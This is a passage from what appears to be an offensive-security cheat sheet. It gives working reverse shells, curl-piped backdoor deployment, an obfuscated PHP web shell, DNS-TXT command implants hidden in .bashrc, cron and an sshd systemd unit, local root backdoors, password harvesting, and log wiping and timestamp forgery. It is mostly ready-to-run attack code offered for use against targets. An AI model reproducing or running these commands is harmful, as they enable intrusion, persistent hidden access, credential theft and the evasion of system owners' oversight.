os.dup2(s.fileno(),2);p=subprocess.call([&quot;\/bin\/sh&quot;,&quot;-i&quot;]);&#039;<\/code><\/pre>\n<p><a id=\"reverse-shell-perl\"><\/a>\n<strong>5.i.j. Reverse shell with Perl<\/strong><\/p>\n<pre><code class=\"lang-sh language-sh sh\"># method 1\nperl -e &#039;use Socket;$i=&quot;3.13.3.7&quot;;$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;\/bin\/sh -i&quot;);};&#039;\n# method 2\nperl -MIO -e &#039;$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~\/(.*)\/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,&quot;3.13.3.7:1524&quot;);STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);while(&lt;&gt;){if($_=~ \/(.*)\/){system $1;}};&#039;<\/code><\/pre>\n<p><a id=\"reverse-shell-php\"><\/a>\n<strong>5.i.k. Reverse shell with PHP<\/strong><\/p>\n<pre><code class=\"lang-sh language-sh sh\">php -r &#039;$sock=fsockopen(&quot;3.13.3.7&quot;,1524);exec(&quot;\/bin\/bash -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);&#039;<\/code><\/pre>\n<p><a id=\"reverse-shell-upgrade\"><\/a>\n<a id=\"reverse-shell-pty\"><\/a>\n<strong>5.ii.a. Upgrade a reverse shell to a PTY shell<\/strong><\/p>\n<p>Any of the above reverse shells are limited. For example <em>sudo bash<\/em> or <em>top<\/em> will not work. To make these work we have to upgrade the shell to a real PTY shell:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># Using script\nexec script -qc \/bin\/bash \/dev\/null  # Linux\nexec script -q \/dev\/null \/bin\/bash   # BSD<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\"># Using python\nexec python -c &#039;import pty; pty.spawn(&quot;\/bin\/bash&quot;)&#039;<\/code><\/pre>\n<p><a id=\"reverse-shell-interactive\"><\/a>\n<strong>5.ii.b. Upgrade a reverse shell to a fully interactive shell<\/strong><\/p>\n<p>&#8230;and if we also like to use Ctrl-C etc then we have to go all the way and upgrade the reverse shell to a real fully colorful interactive shell:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># On the target host spawn a PTY using any of the above examples:\npython -c &#039;import pty; pty.spawn(&quot;\/bin\/bash&quot;)&#039;\n# Now Press Ctrl-Z to suspend the connection and return to your own terminal.<\/code><\/pre>\n<pre><code># On your terminal execute:\nstty raw -echo icrnl opost; fg<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\"># On target host\nexport SHELL=\/bin\/bash\nexport TERM=xterm-256color\nreset -I\nstty -echo;printf &quot;\\033[18t&quot;;read -rdt R;stty sane $(echo &quot;${R:-8;80;25}&quot;|awk -F&quot;;&quot; &#039;{ printf &quot;rows &quot;$3&quot; cols &quot;$2; }&#039;)\n# Pimp up your prompt\n# PS1=&#039;USERS=$(who | wc -l) LOAD=$(cut -f1 -d&quot; &quot; \/proc\/loadavg) PS=$(ps -e --no-headers|wc -l) \\[\\e[36m\\]\\u\\[\\e[m\\]@\\[\\e[32m\\]\\h:\\[\\e[33;1m\\]\\w \\[\\e[0;31m\\]\\$\\[\\e[m\\] &#039;\nPS1=&#039;\\[\\033[36m\\]\\u\\[\\033[m\\]@\\[\\033[32m\\]\\h:\\[\\033[33;1m\\]\\w\\[\\033[m\\]\\$ &#039;<\/code><\/pre>\n<p><a id=\"reverse-shell-socat\"><\/a>\n<strong>5.ii.c. Reverse shell with socat (fully interactive)<\/strong><\/p>\n<p>&#8230;or install socat and get it done without much fiddling about:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># on attacker&#039;s host (listener)\nsocat file:`tty`,raw,echo=0 tcp-listen:1524\n# on target host (reverse shell)\nsocat exec:&#039;bash -li&#039;,pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524<\/code><\/pre>\n<hr \/>\n<p><a id=\"backdoor\"><\/a><\/p>\n<h2>6. Backdoors<\/h2>\n<p>See <a href=\"#reverse-shell\">Reverse Shell \/ Dumb Shell<\/a> for simple 1-liner reverse shells.<\/p>\n<p><a id=\"gsnc\"><\/a>\n<strong>6.i. Reverse shell using gs-netcat<\/strong><\/p>\n<p>Mostly we use gs-netcat&#8217;s automated deployment script: <a href=\"https:\/\/www.gsocket.io\/deploy\">https:\/\/www.gsocket.io\/deploy<\/a>.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">bash -c &quot;$(curl -fsSLk https:\/\/gsocket.io\/y)&quot;<\/code><\/pre>\n<p>or<\/p>\n<pre><code class=\"lang-sh language-sh sh\">bash -c &quot;$(wget --no-check-certificate -qO- https:\/\/gsocket.io\/y)&quot;<\/code><\/pre>\n<p>or deploy gsocket by running your own deployment server:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">LOG=results.log bash -c &quot;$(curl -fsSL https:\/\/gsocket.io\/ys)&quot;  # Notice &#039;\/ys&#039; instead of &#039;\/y&#039;<\/code><\/pre>\n<p><a id=\"sshx\"><\/a>\n<strong>6.ii. Reverse shell with sshx.io (encrypted)<\/strong><\/p>\n<p>Access a remote shell from your web browser <a href=\"https:\/\/sshx.io\">https:\/\/sshx.io<\/a>.<\/p>\n<p>Pipe be sshx-backdoor directly into memory:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">echo $(curl -SsfL https:\/\/s3.amazonaws.com\/sshx\/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2&gt;\/dev\/null \\\n |nohup perl &#039;-efor(319,279){($f=syscall$_,$&quot;,1)&gt;0&amp;&amp;last};open($o,&quot;&gt;&amp;=&quot;.$f);print$o(\n&lt;STDIN&gt;);exec{&quot;\/proc\/$$\/fd\/$f&quot;}&quot;\/usr\/bin\/python3&quot;,(&quot;-q&quot;)&#039; 2&gt;\/dev\/null \\\n |{ read x;echo &quot;$x&quot;;}&amp;)<\/code><\/pre>\n<p>Or the lame way:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">curl -SsfL https:\/\/s3.amazonaws.com\/sshx\/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2&gt;\/dev\/null &gt;.s \\\n&amp;&amp; chmod 755 .s \\\n&amp;&amp; (PATH=.:$PATH .s -q &gt;.u 2&gt;\/dev\/null &amp;);\nfor _ in {1..10}; do [ -s .u ] &amp;&amp; break;sleep 1;done;cat .u;rm -f .u .s;<\/code><\/pre>\n<p><a id=\"backdoor-auth-keys\"><\/a>\n<strong>6.iii. authorized_keys<\/strong><\/p>\n<p>Add your ssh public key to <em>\/root\/.ssh\/authorized_keys<\/em>. It&#8217;s the most reliable backdoor ever :&gt;<\/p>\n<ul>\n<li>It survives reboots.<\/li>\n<li>It even survives re-installs. Admins have been known to make a backup of authorized_keys and then put it straight back onto the newly installed system.<\/li>\n<li>We have even seen our key being copied to other companies!<\/li>\n<\/ul>\n<p>Tip: Change the name at the end of the ssh public keyfile to something obscure like <em>backup@ubuntu<\/em> or the admin&#8217;s real name:<\/p>\n<pre><code>$ cat id_rsa.pub\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCktFkgm40GDkqYwJkNZVb+NLqYoUNSPVPLx0VDbJM0\n[...]\nu1i+MhhnCQxyBZbrWkFWyzEmmHjZdAZCK05FRXYZRI9yadmvo7QKtRmliqABMU9WGy210PTOLMltbt2C\nc3zxLNse\/xg0CC16elJpt7IqCFV19AqfHnK4YiXwVJ+M+PyAp\/aEAujtHDHp backup@ubuntu<\/code><\/pre>\n<p><a id=\"backdoor-network\"><\/a>\n<strong>6.vi. Remote Access to an entire network<\/strong><\/p>\n<p>Install <a href=\"https:\/\/github.com\/hackerschoice\/gsocket\">gs-netcat<\/a>. It creates a SOCKS exit-node on the Host&#8217;s private LAN which is accessible through the Global Socket Relay Network without the need to run your own relay-server (e.g. access the remote private LAN directly from your workstation):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">gs-netcat -l -S       # compromised Host<\/code><\/pre>\n<p>Now from your workstation you can connect to ANY host on the Host&#8217;s private LAN:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">gs-netcat -p 1080    # Your workstation.\n\n# Access route.local:22 on the Host&#039;s private LAN from your Workstation:\nsocat -  &quot;SOCKS4a:127.1:route.local:22&quot;<\/code><\/pre>\n<p>Read <a href=\"#scan-proxy\">Use any tool via Socks Proxy<\/a>.<\/p>\n<p>Other methods:<\/p>\n<ul>\n<li><a href=\"https:\/\/iq.thc.org\/tunnel-via-cloudflare-to-any-tcp-service\">Gost\/Cloudflared<\/a> &#8211; our very own article<\/li>\n<li><a href=\"https:\/\/thc.org\/segfault\/wireguard\">Reverse Wireguard<\/a> &#8211; from segfault.net to any (internal) network.<\/li>\n<\/ul>\n<p><a id=\"php-backdoor\"><\/a>\n<strong>6.v. Smallest PHP Backdoor<\/strong><\/p>\n<p>Add this line at the beginning of any PHP file:<\/p>\n<pre><code class=\"lang-php language-php php\">&lt;?php $i=base64_decode(&quot;aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K&quot;);eval($i);?&gt;<\/code><\/pre>\n<p>It is base64 encoding of:<\/p>\n<pre><code class=\"lang-php language-php php\">if(isset($_POST[0])){system($_POST[0]);die;}<\/code><\/pre>\n<p>Test the backdoor:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">### 1. Optional: Start a test PHP server\ncd \/var\/www\/html &amp;&amp; php -S 127.0.0.1:8080\n### Without executing a command\ncurl http:\/\/127.0.0.1:8080\/test.php\n### With executing a command\ncurl http:\/\/127.0.0.1:8080\/test.php -d 0=&quot;ps fax; uname -mrs; id&quot;<\/code><\/pre>\n<p>Sometimes <code>system()<\/code> is prohibited. Add <code>eval()<\/code> to allow remote PHP-code execution as a backup. Hide within other base64-comments for some obfuscation:<\/p>\n<pre><code class=\"lang-php language-php php\">&lt;?PHP \/*1rUY9TDs2wG8In1HkSQzqViVtX2nGidgu\/RkzKNJbfho9NqtfTaww4GcR6bIGU+U1AJq\nUSOIjliQm4T\/9HP6YS6IMhwoZzmr2iydbwDcVynDqtLjI5i7owLKmjbKnijTszoXP\/dif9ZcbhtJ\nWQKmhCno0boYQQ2rjHgW3su1C7pYREPSdrYD\/4QBpptJU7Djnm5zuyD2TXNjHXm\/ZYUW+n4s3PM7\naWqzWzy*\/if(isset($_POST[0])){eval($_POST[1]?:&quot;&quot;);system($_POST[0]);die;}\/*P\n0KKBW1rvtqxOK8L9Ok6y7Rulkl2um62KVxvVx\/+kODDw4HZV5Yx\/HK\/7lG+X\/IkK8LViCIuaedXl\nHM1wHBlDluhe8BN6pH33fn0bfFpjCDaKrKwK3QF6ExJu1JgKK9deyWUTcqbr0dhe7ZliOIldh3of\n+4qUjhVdK4SoeND\/Dd+iwRAbhZKxaHfng4ADqdWrwjUPoyTjzOp6C3iDzunviiG0RC3iDuCY*\/?&gt;<\/code><\/pre>\n<p>Trigger with any of these to execute comand or PHP code:<\/p>\n<pre><code class=\"lang-shell language-shell shell\"># Execute just command\ncurl http:\/\/127.0.0.1:8080\/x.php -d0=&#039;id&#039;\n# Execute just PHP code\ncurl http:\/\/127.0.0.1:8080\/x.php -d0=&#039;&#039; -d1=&#039;echo file_get_contents(&quot;\/etc\/hosts&quot;);&#039;<\/code><\/pre>\n<p><a id=\"reverse-dns-backdoor\"><\/a>\n<strong>6.vi. Smallest reverse DNS-tunnel Backdoor<\/strong><\/p>\n<h2>&#8230;in PHP:<\/h2>\n<p>Execute arbitrary commands on a server that is <em>not<\/em> accessible from the public Internet by using a reverse DNS trigger.<\/p>\n<p>Add this line (the implant) at the beginning of any PHP file:<\/p>\n<pre><code class=\"lang-php language-php php\">&lt;?PHP eval(base64_decode(dns_get_record(&quot;b00m.team-teso.net&quot;, DNS_TXT)[0][&#039;txt&#039;])); ?&gt;<\/code><\/pre>\n<p>The implant requests the payload via a DNS TXT-request from the domain <code>b00m.team-teso.net<\/code>. When triggered, it creates <code>\/tmp\/.b00m<\/code> and notifies THC (via an app.interactsh.com callback). <em>Please<\/em> use your own domain and also create your own payload. Example:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">echo -n &#039;@system(&quot;{ id; date;}&gt;\/tmp\/.b00m 2&gt;\/dev\/null&quot;);&#039; |base64 -w0<\/code><\/pre>\n<ul>\n<li>The DNS TXT payload is limited to 2,048 characters (sometimes 65,535 characters).<\/li>\n<li>The implant is a <code>bootloader<\/code>. Use a while loop to download and execute larger paypload via DNS.<\/li>\n<li>Check out our favorite places to <a href=\"#pub\">register a domain anonymously<\/a>. <a href=\"https:\/\/www.cloudflare.com\">Cloudflare&#8217;s<\/a> Free-Tier is a good start.<\/li>\n<\/ul>\n<h2>&#8230;in BASH:<\/h2>\n<p>Add this implant to the target&#8217;s <code>~\/.bashrc<\/code> or the crontab (demo-paypload):<\/p>\n<pre><code class=\"lang-shell language-shell shell\"># Use a &quot;double bash&quot; to redirect _also_ errors from $()-subshell to \/dev\/null:\nbash -c &#039;exec bash -c &quot;{ $(dig +short b00m2.team-teso.net TXT|tr -d \\ \\&quot;|base64 -d);}&quot;&#039;&amp;&gt;\/dev\/null<\/code><\/pre>\n<p>or change the demo-payload for an elaborate payload:<\/p>\n<ul>\n<li>Starts a background daemon to poll every hour for command execution.<\/li>\n<li>Depends on bash, dig and base64 only.<\/li>\n<li>Hides as <code>sshd: \/usr\/sbin\/sshd -D [listener] 0 of 10-100 startups<\/code><\/li>\n<li>Example uses <code>b00m2.team-teso.net<\/code> again and creates \/tmp\/.b00m every hour.<\/li>\n<\/ul>\n<p>Cut &amp; Paste the following into the target&#8217;s shell to generate the 1-line implant:<\/p>\n<pre><code class=\"lang-shell language-shell shell\"># If dig does not exists then replace \/dig +short...\/ with\n# \/nslookup -q=txt &#039;&quot;$D&quot;&#039;|grep -Fm1 &quot;text =&quot;|sed -E &quot;s|.*text = (.*)|\\1|g;s|[\\&quot; ]||g&quot;|base64 -d|bash\/\n# or use the Perl example below.\nbase64 -w0 &gt;x.txt &lt;&lt;-&#039;EOF&#039;\nD=b00m2.team-teso.net\nP=&quot;sshd: \/usr\/sbin\/sshd -D [listener] 0 of 10-100 startups&quot;\nM=\/dev\/shm\/.cache${UID}\n[ -f $M ]&amp;&amp;exit\ntouch $M\n(echo &#039;slp(){ local IFS;[ -n &quot;${_sfd:-}&quot; ]||exec {_sfd}&lt;&gt; &lt;(:);read -t$1 -u$_sfd||:;}\nslp 1\nwhile :; do\n    dig +short &#039;&quot;$D&quot;&#039; TXT|tr -d \\ \\&quot;|base64 -d|bash\n    slp 3600\ndone&#039;|exec -a &quot;$P&quot; bash &amp;) &amp;&gt;\/dev\/null\nEOF\necho &quot;===&gt; Add the following to the target&#039;s ~\/.bashrc or cronjob:&quot;$&#039;\\n\\033[0;36m&#039;&quot;echo $(&lt;x.txt)|base64 -d|bash&quot;$&#039;\\033[0m&#039;\nrm -f x.txt<\/code><\/pre>\n<p>Add the 1-line result of the script to any startup script on the target (use crontab, ~\/.bashrc, <a href=\"https:\/\/www.aon.com\/en\/insights\/cyber-labs\/unveiling-sedexp\">udev<\/a> or <code>ExecStartPre=<\/code>). Here is a clever example for <em>\/usr\/lib\/systemd\/system\/ssh.service<\/em> (with some additional obfuscation):<\/p>\n<pre><code>...\n[Service]\nEnvironmentFile=-\/etc\/default\/ssh\nEnvironment=&quot;SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash&quot;\nExecStartPre=-bash -c &#039;eval $SSHD&#039;\nExecStartPre=\/usr\/sbin\/sshd -t\nExecStart=\/usr\/sbin\/sshd -D $SSHD_OPTS\n...<\/code><\/pre>\n<h2>&#8230;in PERL:<\/h2>\n<p>The same but only needing perl + bash (not dig):<\/p>\n<pre><code class=\"lang-shell language-shell shell\">perl -MMIME::Base64 -e &#039;$\/=undef;print encode_base64(&lt;&gt;,&quot;&quot;)&#039; &gt;x.txt &lt;&lt;-&#039;EOF&#039;\nD=b00m2.team-teso.net\nP=&quot;sshd: \/usr\/sbin\/sshd -D [listener] 0 of 10-100 startups&quot;\nM=\/dev\/shm\/.cache-1-${UID}\n(echo &#039;use Net::DNS;use MIME::Base64;exit(0) if -e &quot;&#039;&quot;$M&quot;&#039;&quot;;close(open($f,&quot;&gt;&quot;,&quot;&#039;&quot;$M&quot;&#039;&quot;));for (;;) { system decode_base64((Net::DNS::Resolver-&gt;new-&gt;query(q\/&#039;&quot;$D&quot;&#039;\/,q\/TXT\/)-&gt;answer)[0]-&gt;txtdata=~y\/ \\\\\/\/dr);sleep(3600)}&#039;|exec -a &quot;$P&quot; perl &amp;) &amp;&gt;\/dev\/null\nEOF\necho &quot;===&gt; Execute the following on the target:&quot;$&#039;\\n\\033[0;36m&#039;&quot;perl -MMIME::Base64 -e&#039;print decode_base64(\\&quot;$(&lt;x.txt)\\&quot;)&#039;|bash&quot;$&#039;\\033[0m&#039;\nrm -f x.txt<\/code><\/pre>\n<p>(thank you to LouCipher for a perl verison)<\/p>\n<h2>&#8230;in PYTHON:<\/h2>\n<p>Cut &amp; paste the following into your shell:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">pydnsbackdoorgen() {\n    local str\n    echo -e &quot;This is the TXT record for ${1:?}\\e[0;33m&quot;\n    base64 -w0 &lt;&quot;${2:?}&quot;\n    str=&quot;$(echo -en &#039;import dns.resolver\\nexec(base64.b64decode(&quot;&quot;.join([d.to_text() for d in dns.resolver.resolve(&quot;&#039;&quot;${1:?}&quot;&#039;&quot;, &quot;TXT&quot;).rrset])))&#039; | base64 -w 0)&quot;\n    echo -e &quot;\\e[0m\\nAdd this implant string to a target&#039;s python script:\\e[0;32m&quot;\n    echo &quot;exec(&#039;&quot;&#039;try:\\n\\timport base64\\n\\texec(base64.b64decode(&quot;&#039;&quot;${str}&quot;&#039;&quot;))\\nexcept:\\n\\tpass&#039;&quot;&#039;)&quot;\n    echo -e &quot;\\e[0m&quot;\n}<\/code><\/pre>\n<p>Generate your payload (<code>egg.py<\/code> will get executed on the target):<\/p>\n<pre><code class=\"lang-shell language-shell shell\">cat &gt;egg.py&lt;&lt;-&#039;EOF&#039;\nimport time\ndns.resolver.resolve(f&quot;{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun&quot;)\nEOF<\/code><\/pre>\n<p>Generate your implant (and follow the instructions):<\/p>\n<pre><code class=\"lang-shell language-shell shell\">pydnsbackdoorgen b00mpy.team-teso.net egg.py<\/code><\/pre>\n<p><a id=\"ld-backdoor\"><\/a>\n<strong>6.vii. Local Root Backdoor<\/strong><\/p>\n<h4>1. Backdooring the dynamic loader with setcap<\/h4>\n<pre><code class=\"lang-bash language-bash bash\">### Execute as ROOT user\nfn=&quot;$(readlink -f \/lib64\/ld-*.so.*)&quot; || fn=&quot;$(readlink -f \/lib\/ld-*.so.*)&quot; || fn=&quot;\/lib\/ld-linux.so.2&quot;\nsetcap cap_setuid,cap_setgid+ep &quot;${fn}&quot;<\/code><\/pre>\n<pre><code class=\"lang-bash language-bash bash\">### Execute as non-root user to get root\nfn=&quot;$(readlink -f \/lib64\/ld-*.so.*)&quot; || fn=&quot;$(readlink -f \/lib\/ld-*.so.*)&quot; || fn=&quot;\/lib\/ld-linux.so.2&quot;\np=&quot;$(command -v python3 2&gt;\/dev\/null)&quot; || p=&quot;$(command -v python)&quot;\n&quot;${fn:?}&quot; &quot;$p&quot; -c &#039;import os;os.setuid(0);os.setgid(0);os.execlp(&quot;bash&quot;, &quot;kdaemon&quot;)&#039;<\/code><\/pre>\n<h4>2. Good old b00m shell<\/h4>\n<pre><code class=\"lang-shell language-shell shell\">{ cp \/bin\/sh \/var\/tmp\/.b00m; chmod 6775 \/var\/tmp\/.b00m; } 2&gt;\/dev\/null &gt;\/dev\/null<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">exec \/var\/tmp\/.b00m -p -c &#039;exec python -c &quot;import os;os.setuid(0);os.execlp(\\&quot;bash\\&quot;, \\&quot;kdaemon\\&quot;)&quot;&#039;<\/code><\/pre>\n<p><a id=\"implant\"><\/a>\n<strong>6.viii. Self-Extracting implant<\/strong><\/p>\n<p>Create a self-extracting shell-script using <a href=\"https:\/\/github.com\/hackerschoice\/thc-tips-tricks-hacks-cheat-sheet\/blob\/master\/tools\/mkegg.sh\">mkegg.sh<\/a> (see source for examples).<\/p>\n<p>Simple example:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># Create implant &#039;egg.sh&#039; containing the file &#039;foo&#039;\n# and the directory &#039;warez&#039;. When executing &#039;egg.sh&#039; then\n# extract &#039;foo&#039; and &#039;warez&#039; and call &#039;warez\/run\/sh&#039;\n.\/mkegg.sh egg.sh foo warez warez\/run.sh<\/code><\/pre>\n<p>Real world examples are best:<\/p>\n<ol>\n<li>\n<p>Create an implant that installs gsocket and calls our webhook on success:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">.\/mkegg.sh egg.sh deploy-all.sh &#039;(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2&gt;\/dev\/null &gt;\/dev\/null &amp;)&#039;\n# On the target system do: &#039;cat egg.sh | bash&#039; or &#039;.\/egg.sh&#039;<\/code><\/pre>\n<\/li>\n<li>\n<p>Rename <code>egg.sh<\/code> to <code>update-for-fools.txt<\/code> and upload as blob to <a href=\"https:\/\/www.signal.org\/\">Signal&#8217;s<\/a> GitHub repository.<\/p>\n<\/li>\n<li>\n<p>Don&#8217;t fool people to update Signal using this command \u2764\ufe0f:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl -fL https:\/\/github.com\/signalapp\/Signal-Desktop\/files\/15037868\/update-for-fools.txt | bash<\/code><\/pre>\n<\/li>\n<\/ol>\n<p><a id=\"hostrecon\"><\/a><\/p>\n<h2>7. Host Recon<\/h2>\n<hr \/>\n<p>Get <a href=\"https:\/\/github.com\/hackerschoice\/thc-tips-tricks-hacks-cheat-sheet\/blob\/master\/tools\/whatserver.sh\">essential information<\/a> about a host:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">bash -c &quot;$(curl -fsSL https:\/\/thc.org\/ws)&quot;<\/code><\/pre>\n<p>or<\/p>\n<pre><code class=\"lang-sh language-sh sh\">bash -c &quot;$(curl -fsSL https:\/\/github.com\/hackerschoice\/thc-tips-tricks-hacks-cheat-sheet\/raw\/master\/tools\/whatserver.sh)&quot;<\/code><\/pre>\n<p>netstat if there is no netstat\/ss\/lsof:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl -fsSL https:\/\/raw.githubusercontent.com\/hackerschoice\/thc-tips-tricks-hacks-cheat-sheet\/master\/tools\/awk_netstat.sh | bash<\/code><\/pre>\n<p>Speed check the system<\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl -fsSL https:\/\/bench.sh | bash\n# Another speed check:  \n# curl -fsSL https:\/\/yabs.sh | bash<\/code><\/pre>\n<p>Find all suid\/sgid binaries:<\/p>\n<pre><code>find  \/ -xdev -type f -perm \/6000  -ls 2&gt;\/dev\/null<\/code><\/pre>\n<p>Find all writeable directories:<\/p>\n<pre><code class=\"lang-bash language-bash bash\">wfind() {\n    local arr dir\n\n    arr=(&quot;$@&quot;)\n    while [[ ${#arr[@]} -gt 0 ]]; do\n        dir=${arr[${#arr[@]}-1]}\n        unset &quot;arr[${#arr[@]}-1]&quot;\n        find &quot;$dir&quot;  -maxdepth 1 -type d -writable -ls 2&gt;\/dev\/null\n        IFS=$&#039;\\n&#039; arr+=($(find &quot;$dir&quot; -mindepth 1 -maxdepth 1 -type d ! -writable 2&gt;\/dev\/null))\n    done\n}\n# Usage: wfind \/\n# Usage: wfind \/etc \/var \/usr <\/code><\/pre>\n<p>Find local passwords (using <a href=\"https:\/\/github.com\/praetorian-inc\/noseyparker\">noseyparker<\/a> or <a href=\"https:\/\/github.com\/trufflesecurity\/trufflehog\">trufflehog<\/a>):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl -o np -fsSL https:\/\/github.com\/hackerschoice\/binary\/raw\/main\/tools\/noseyparker-x86_64-static\nchmod 700 np &amp;&amp; \\\n.\/np scan . &amp;&amp; \\\n.\/np report --color=always | less -R<\/code><\/pre>\n<ul>\n<li>Use <a href=\"https:\/\/github.com\/aydinnyunus\/PassDetective\">PassDetective<\/a> to find passwords in ~\/.*history<\/li>\n<li>Use <a href=\"https:\/\/github.com\/xaitax\/Chrome-App-Bound-Encryption-Decryption\">Chrome-ABE<\/a> to extract &amp; decrypt Chrome passwords from the running process (windows only)<\/li>\n<li>Extract passwords from Browsers using <a href=\"https:\/\/github.com\/kiryano\/chrome-password-decryptor\">https:\/\/github.com\/kiryano\/chrome-password-decryptor<\/a><\/li>\n<\/ul>\n<p>Using <code>grep<\/code>:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># Find passwords (without garbage).\ngrep -HEronasi  &#039;.{,16}password.{,64}&#039; .\n# Find TLS or OpenSSH keys:\ngrep -r -F -- &quot; PRIVATE KEY-----&quot; .<\/code><\/pre>\n<p>Find Subdomains or emails in files:<\/p>\n<pre><code class=\"lang-bash language-bash bash\">resolv() { while read -r x; do r=&quot;$(getent hosts &quot;$x&quot;)&quot; || continue; echo &quot;${r%% *}&quot;$&#039;\\t&#039;&quot;${x}&quot;; done; }\nfind_subdomains() {\n    local d=&quot;${1\/\/.\/\\\\.}&quot;\n    local rexf=&#039;[0-9a-zA-Z_.-]{0,64}&#039;&quot;${d}&quot;\n    local rex=&quot;$rexf&quot;&#039;([^0-9a-zA-Z_]{1}|$)&#039;\n    [ $# -le 0 ] &amp;&amp; { echo -en &gt;&amp;2 &quot;Extract sub-domains from all files (or stdin)\\nUsage  : find_subdomains &lt;apex-domain&gt; &lt;file&gt;\\nExample: find_subdomain .com | anew&quot;; return; }\n    shift 1\n    [ $# -le 0 ] &amp;&amp; [ -t 0 ] &amp;&amp; set -- .\n    command -v rg &gt;\/dev\/null &amp;&amp; { rg -oaIN --no-heading &quot;$rex&quot; &quot;$@&quot; | grep -Eao &quot;$rexf&quot;; return; }\n    grep -Eaohr &quot;$rex&quot; &quot;$@&quot; | grep -Eo &quot;$rexf&quot;\n}\n# find_subdomain .foobar.com | anew | resolv\n# find_subdomain @gmail.com | anew<\/code><\/pre>\n<hr \/>\n<p><a id=\"shell-hacks\"><\/a><\/p>\n<h2>8. Shell Hacks<\/h2>\n<p><a id=\"shred\"><\/a>\n<strong>8.i. Shred &amp; Erase a file<\/strong><\/p>\n<pre><code class=\"lang-sh language-sh sh\">shred -z foobar.txt<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\">## SHRED without shred command\nshred() {\n    [[ -z $1 || ! -f &quot;$1&quot; ]] &amp;&amp; { echo &gt;&amp;2 &quot;shred [FILE]&quot;; return 255; }\n    dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=\/dev\/urandom &gt;&quot;$1&quot;\n    rm -f &quot;${1:?}&quot;\n}\nshred foobar.txt<\/code><\/pre>\n<p>Note: Or deploy your files in <em>\/dev\/shm<\/em> directory so that no data is written to the harddrive. Data will be deleted on reboot.<\/p>\n<p>Note: Or delete the file and then fill the entire harddrive with \/dev\/urandom and then rm -rf the dump file.<\/p>\n<p><a id=\"restore-timestamp\"><\/a>\n<strong>8.ii. Restore the date of a file<\/strong><\/p>\n<p>Let&#8217;s say you have modified <em>\/etc\/passwd<\/em> but the file date now shows that <em>\/etc\/passwd<\/em> has been modified. Use <em>touch<\/em> to change the file date to the date of another file (in this example, <em>\/etc\/shadow<\/em>)<\/p>\n<pre><code class=\"lang-sh language-sh sh\">touch -r \/etc\/shadow \/etc\/passwd\n# verify with &#039;stat \/etc\/passwd&#039;<\/code><\/pre>\n<p>Use <a href=\"#hackshell\">hackshell<\/a> and <code>ctime \/etc\/passwd<\/code> to also adjust the ctime and birth-time.<\/p>\n<p><a id=\"shell-clean-logs\"><\/a>\n<strong>8.iii. Clear logfile<\/strong><\/p>\n<p>This will reset the logfile to 0 without having to restart syslogd etc:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">&gt;\/var\/log\/auth.log # or on old shells: cat \/dev\/null &gt;\/var\/log\/auth.log<\/code><\/pre>\n<p>This will remove any line containing the IP <code>1.2.3.4<\/code> from the log file:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">xlog() { local a=$(sed &quot;\/${1:?}\/d&quot; &lt;&quot;${2:?}&quot;) &amp;&amp; echo &quot;$a&quot; &gt;&quot;${2:?}&quot;; }<\/code><\/pre>\n<p>Examples:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># xlog 